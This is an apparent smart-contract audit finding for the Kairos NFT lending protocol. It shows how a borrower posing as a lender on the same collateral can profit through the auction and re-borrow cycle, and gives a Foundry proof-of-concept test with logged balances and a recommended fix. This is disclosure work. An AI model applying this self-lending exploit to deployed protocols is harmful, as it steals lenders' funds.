A Borrower (attacker) can steal money from lenders
Summary
Kairos protocol is offering a system that gives a chance for borrowers to borrow money (ERC20 Tokens) against their NFTs in a freedom way for everyone to compete but still cares to protect its Lenders and Borrowers during the protocol process. in our case a Borrower can act as a Lender and try to steal money from other lenders by smarting out the protocol.
Vulnerability Detail
In simplest way I would go with this scenario:
Bob (has 6 Ether) is a Borrower and Alex (has 6 Ether) is a Lender.
Alex sign an offer with 2 Ether for NFT token #5
Bob has the collateral NFT (token #5)
Bob will create an offer with 2 Ether for the same collateral to act as Lender.
Bob takes a loan (2 Ether) using Alex's offer and his offer.
The loan is 1 ether from Alex and 1 ether from himself.
Bob will not repay his loan and will buy his NFT from the auction.
Bob now paid 5 Ether for the NFT according to the price factor 2.5
50% of the profit goes back to Bob (his share).
Bob now has 4.5 Ether.
Since Bob has the NFT he can go and apply Alex's offer again and borrow 2 Ether as well.
Bob now has 6.5 Ether in total and was able to steal 0.5 Ether from Alex.
Alex balance now is 5.5 Ether
Impact
a Borrower can steal money from lenders without any special conditions.
Code Snippet
Add foundry code under \test\Borrow directory
and run test command
forge test --match-path 'test/Borrow/LenderAttackerIssue.t.sol' -vv
Foundry Code
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import {BadCollateral, RequestedAmountIsUnderMinimum} from "../../src/DataStructure/Errors.sol";
import {BuyArg, BorrowArg, NFToken, Offer, OfferArg} from "../../src/DataStructure/Objects.sol";
import {External} from "../Commons/External.sol";
import {Loan, Provision, Payment, Auction} from "../../src/DataStructure/Storage.sol";
import {Ray} from "../../src/DataStructure/Objects.sol";
import {RayMath} from "../../src/utils/RayMath.sol";
import {NFT} from "../../src/mock/NFT.sol";
import {ONE} from "../../src/DataStructure/Global.sol";
import {Money} from "../../src/mock/Money.sol";
import "forge-std/Test.sol";
contract TestBorrow is External {
using RayMath for Ray;
using RayMath for uint256;
NFT nft_collateral;
address Alex; //Lender
uint256 loanToValue_1 = 2 ether;
uint256 lent_1 = 1 ether;
uint256 internal constant Alex_KEY = 0xDAE;
address Bob; //Lender
uint256 loanToValue_2 = 2 ether;
uint256 lent_2 = 1 ether;
uint256 internal constant Bob_KEY = 0xB0B;
function testBobGainMoreMoney() public{
nft_collateral = new NFT("Test NFT", "TNFT");
uint256 nbOfLoans = 1;
BorrowArg[] memory borrowArgs = new BorrowArg[](nbOfLoans);
Alex = vm.addr(Alex_KEY);
Bob = vm.addr(Bob_KEY);
getFlooz(Alex, money, 6 ether);
getFlooz(Bob, money, 6 ether);
//print addresess
console.log("Alex: ",Alex);
console.log("Bob: ",Bob);
console.log("Kairos: ",address(kairos));
console.log("-------Initial balances--------");
console.log("balanceOf(Bob) ", money.balanceOf(Bob));
console.log("balanceOf(Alex) ", money.balanceOf(Alex));
uint256 NFT_TokenId = getJpeg(Bob,nft_collateral);
OfferArg[] memory offerArgs = new OfferArg[](2);
//Alex offer
Offer memory offerAlex = applyOffer(NFT_TokenId, loanToValue_1,2 weeks);
offerArgs[0] = OfferArg({
signature: getSignatureFromKey(offerAlex, Alex_KEY),
amount: lent_1,
offer: offerAlex
});
//Bob Offer
Offer memory offerBob = applyOffer(NFT_TokenId, loanToValue_2,2 weeks);
offerArgs[1] = OfferArg({
signature: getSignatureFromKey(offerAlex, Bob_KEY),
amount: lent_2,
offer: offerBob
});
nbOfLoans = 1;
borrowArgs = new BorrowArg[](nbOfLoans);
borrowArgs[0] = BorrowArg({nft: NFToken({id: NFT_TokenId, implem: nft_collateral}), args: offerArgs});
vm.startPrank(Bob);
kairos.borrow(borrowArgs);
vm.stopPrank();
console.log("-------balances after first loan--------");
console.log("balanceOf(Bob) ", money.balanceOf(Bob));
console.log("balanceOf(Alex) ", money.balanceOf(Alex));
BuyArg[] memory args = new BuyArg[](1);
//set loan duration 0 //setupLoan(nftId, duration)
//or you can set it to a specific time then skip this time by skip(timeInSeconds)
//so Bob would wait till the loan end then buy the NFT immediately on acution start time
args[0] = setupLoan(NFT_TokenId, 0)[0];
args[0].to = Bob; // the buyer
//skip(3600 * 3);
uint256 price = kairos.price(1);
//console.log("price: ",price);
//Bob is a lender buying the NFt on auction
vm.startPrank(Bob);
kairos.buy(args);
vm.stopPrank();
console.log("-------balances after Bob buys his NFT from Auction--------");
console.log("-------Price factor is 2.5 as minmum in the protocol-------");
console.log("balanceOf(Bob) ", money.balanceOf(Bob));
console.log("balanceOf(Alex) ", money.balanceOf(Alex));
//Alex claim his share
Loan memory loan = getLoanCustom(2 ether, Alex, money, 0);
loan.payment.paid = 5 ether;
loan.payment.liquidated = true;
store(loan, 2);
Provision memory provision = Provision({amount: 2 ether, share: ONE.div(2), loanId: 2});
mintPosition(Alex, provision);
getFlooz(address(kairos), money);
//set supply postion
uint256[] memory postionArray = new uint256[](1);
postionArray[0] = 1;
vm.startPrank(Alex);
kairos.claim(postionArray);
vm.stopPrank();
//Bob claim his share
loan = getLoanCustom(2 ether, Bob, money, 0);
loan.payment.paid = 5 ether;
loan.payment.liquidated = true;
store(loan, 3);
provision = Provision({amount: 2 ether, share: ONE.div(2), loanId: 3});
mintPosition(Bob, provision);
getFlooz(address(kairos), money);
//set supply postion
postionArray = new uint256[](1);
postionArray[0] = 2;
vm.startPrank(Bob);
kairos.claim(postionArray);
vm.stopPrank();
console.log("-------balances after Bob claim his share loan--------");
console.log("balanceOf(Bob) ", money.balanceOf(Bob));
console.log("balanceOf(Alex) ", money.balanceOf(Alex));
//Bob will apply Alex offer
offerArgs = new OfferArg[](1);
offerAlex = applyOffer(NFT_TokenId, loanToValue_1,2 weeks); //Alex offer
offerArgs[0] = OfferArg({
signature: getSignatureFromKey(offerAlex, Alex_KEY),
amount: (lent_1 + lent_2),
offer: offerAlex
});
borrowArgs[0] = BorrowArg({nft: NFToken({id: NFT_TokenId, implem: nft_collateral}), args: offerArgs});
vm.startPrank(Bob);
nft_collateral.approve(address(kairos), NFT_TokenId);
kairos.borrow(borrowArgs);
vm.stopPrank();
console.log("------Final balances after Bob takes a full loan from Alex----------");
console.log("balanceOf(Alex) ", money.balanceOf(Alex));
console.log("balanceOf(Bob) ", money.balanceOf(Bob));
}
function applyOffer (uint256 tokenId, uint256 loanToValue,uint256 _duration) private returns(Offer memory) {
Offer memory offer = getOfferCustom(nft_collateral,loanToValue,_duration);
offer.collateral = getNftCustom(nft_collateral,tokenId );
// console.log("expirationDate: ", offer.expirationDate);
return offer;
}
function setupLoan(uint256 tokenId,uint256 _duration) private returns (BuyArg[] memory) {
Loan memory loan = getLoanCustom((lent_1+lent_2) , Bob, money, _duration);
loan.collateral = getNftCustom(nft_collateral,tokenId );
return storeAndGetArgs(loan, tokenId);
}
function getLoanCustom(uint256 _lent, address _borrower,
Money _assetToLend, uint256 _duration) internal view returns (Loan memory) {
Payment memory payment;
NFToken memory nftToken;
return
Loan({
assetLent: _assetToLend,
lent: _lent,
shareLent: ONE,
startDate: block.timestamp ,
endDate: block.timestamp + _duration,
//Price factor is 2.5 as minimum
auction: getAuctionPriceFactor(),
interestPerSecond: getTranche(0),
borrower: _borrower,
collateral: nftToken,
supplyPositionIndex: 1,
payment: payment,
nbOfPositions: 1
});
}
function getOfferCustom(NFT _nft,uint256 _loanToValue,uint256 _duration) internal view returns (Offer memory) {
NFToken memory nftToken;
return
Offer({
assetToLend: money,
loanToValue: _loanToValue,
duration: _duration,
expirationDate: block.timestamp + 3 hours,
tranche: 0,
collateral: nftToken
});
}
function getNftCustom(NFT _nft,uint256 _id) internal view returns (NFToken memory ret) {
ret = NFToken({implem: _nft, id: _id});
}
function getAuctionPriceFactor() internal pure returns (Auction memory) {
return Auction({duration: 3 days, priceFactor: ONE.mul(5).div(2)});
}
}
Output
[PASS] testBobGainMoreMoney() (gas: 3603910)
Logs:
Alex: 0x6E886A9d4B6d79fD735f0c3FB18fD6250abE019E
Bob: 0x0376AAc07Ad725E01357B1725B5ceC61aE10473c
Kairos: 0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7
-------Initial balances--------
balanceOf(Bob) 6000000000000000000
balanceOf(Alex) 6000000000000000000
-------balances after first loan--------
balanceOf(Bob) 7000000000000000000
balanceOf(Alex) 5000000000000000000
-------balances after Bob buys his NFT from Auction--------
-------Price factor is 2.5 as minmum in the protocol-------
balanceOf(Bob) 2000000000000000000
balanceOf(Alex) 5000000000000000000
-------balances after Bob claim his share loan--------
balanceOf(Bob) 4500000000000000000
balanceOf(Alex) 7500000000000000000
------Final balances after Bob takes a full loan from Alex----------
balanceOf(Alex) 5500000000000000000
balanceOf(Bob) 6500000000000000000
evo
high
A Borrower (attacker) can steal money from lenders
Summary
Kairos protocol is offering a system that gives a chance for borrowers to borrow money (ERC20 Tokens) against their NFTs in a freedom way for everyone to compete but still cares to protect its Lenders and Borrowers during the protocol process. in our case a Borrower can act as a Lender and try to steal money from other lenders by smarting out the protocol.
Vulnerability Detail
In simplest way I would go with this scenario: Bob (has 6 Ether) is a Borrower and Alex (has 6 Ether) is a Lender.
Impact
a Borrower can steal money from lenders without any special conditions.
Code Snippet
Add foundry code under \test\Borrow directory and run test command
Foundry Code
Output
Tool used
Manual Review + VS
Recommendation
https://github.com/kairos-loan/kairos-contracts/blob/b2fd98d62cf0f25ee1db2bd551cd7b4606a5a988/src/AdminFacet.sol#L38-L43 Don't allow the auction price factor to be set less than 3 instead of 2.5